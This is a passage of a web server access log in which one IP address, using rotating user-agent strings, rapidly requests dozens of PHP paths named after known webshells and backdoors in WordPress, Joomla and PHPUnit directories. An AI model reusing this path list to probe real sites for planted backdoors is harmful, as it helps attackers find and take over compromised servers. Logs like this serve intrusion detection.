Chrome/77.0.3865.90 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:51 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:51 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:43:51 +0300] "GET /wp-includes/js/jquery/suggest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:52 +0300] "GET /wp-content/plugins/pwnd-1/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:52 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:43:52 +0300] "GET /images/DJP9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:52 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:52 +0300] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:43:53 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:53 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:53 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:53 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:53 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:54 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:43:54 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:54 +0300] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:43:54 +0300] "GET /wp-content/languages/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:54 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:55 +0300] "GET /wp-includes/assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:43:55 +0300] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:55 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:55 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:55 +0300] "GET /autoload_classmap/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:56 +0300] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:43:56 +0300] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:56 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:56 +0300] "GET /wp-content/plugins/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:56 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:57 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:57 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:43:57 +0300] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:57 +0300] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:43:57 +0300] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:43:58 +0300] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:58 +0300] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:58 +0300] "GET /wp-content/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:43:58 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:59 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ask.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:59 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:59 +0300] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:59 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:59 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:44:00 +0300] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:00 +0300] "GET /assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:00 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:00 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:01 +0300] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:01 +0300] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:01 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:01 +0300] "GET /wp-includes/assets/husky301.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:44:02 +0300] "GET /wp-admin/css/colors/blue/wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:02 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:02 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:02 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:02 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:44:03 +0300] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:44:03 +0300] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:03 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:03 +0300] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:03 +0300] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:04 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:04 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:04 +0300] "GET /wp-content/plugins/up/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:44:04 +0300] "GET /fonts/fontawesome-webfont.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:44:05 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:05 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:44:05 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:05 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:05 +0300] "GET /images/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:44:06 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:06 +0300] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:06 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:06 +0300] "GET /wp-content/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:06 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:07 +0300] "GET /wp-admin/css/colors/midnight/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:07 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:07 +0300] "GET /wp-includes/style-engine/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:07 +0300] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:08 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:44:08 +0300] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:08 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:08 +0300] "GET /wp-includes/infi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:08 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:44:09 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:44:09 +0300] "GET /images/index22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:09 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:09 +0300] "GET /wp-includes/pomo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:10 +0300] "GET /assets/script.js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:10 +0300] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:10 +0300] "GET /wp-admin/css/colors/sunrise/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.77 - - [21/Mar/2026:12:44:10 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:44:10 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:44:11 +0300] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:44:11 +0300] "GET /cgi-bin/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:11 +0300] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:44:11 +0300] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:44:12 +0300] "GET /wp-includes/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:12 +0300] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:12 +0300] "GET /wp-includes/ID3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:44:12 +0300] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:44:13 +0300] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:13 +0300] "GET /.well-known/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:13 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:44:13 +0300] "GET /wp-admin/js/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:44:13 +0300] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:44:14 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:14 +0300] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:14 +0300] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:14 +0300] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:44:14 +0300] "GET /wp-includes/js/jquery/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:15 +0300] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:15 +0300] "GET 